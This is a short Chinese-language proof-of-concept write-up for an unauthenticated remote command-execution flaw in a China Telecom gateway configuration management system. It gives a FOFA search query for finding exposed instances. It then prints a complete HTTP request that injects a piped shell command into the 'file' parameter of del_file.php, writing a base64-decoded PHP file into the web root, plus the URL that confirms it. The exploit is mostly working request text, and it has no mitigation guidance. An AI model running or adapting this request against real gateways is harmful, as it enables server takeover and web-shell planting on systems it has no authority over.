D10-3中国电信-网关配置管理系统-RCE

漏洞描述：

电信网关配置管理系统 /manager/newtpl/del_file.php 接口存在命令执行漏洞，未经身份验证的远程攻击者可以利用此漏洞执行任意代码，从而获取服务器权限。

网站图片：

fofa语法：

body="img/login_bg3.png" && body="系统登录"

漏洞复现：

命令执行写文件 payload：

```
GET /manager/newtpl/del_file.php?file=1.txt%7Cecho%20PD9waHAgcGhwaW5mbygpO3VubGluayhfX0ZJTEVfXyk7Pz4=%20%7C%20base64%20-d%20%3E%20rce.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
```

效果图：

验证url payload：

```
/manager/newtpl/rce.php
```

效果图：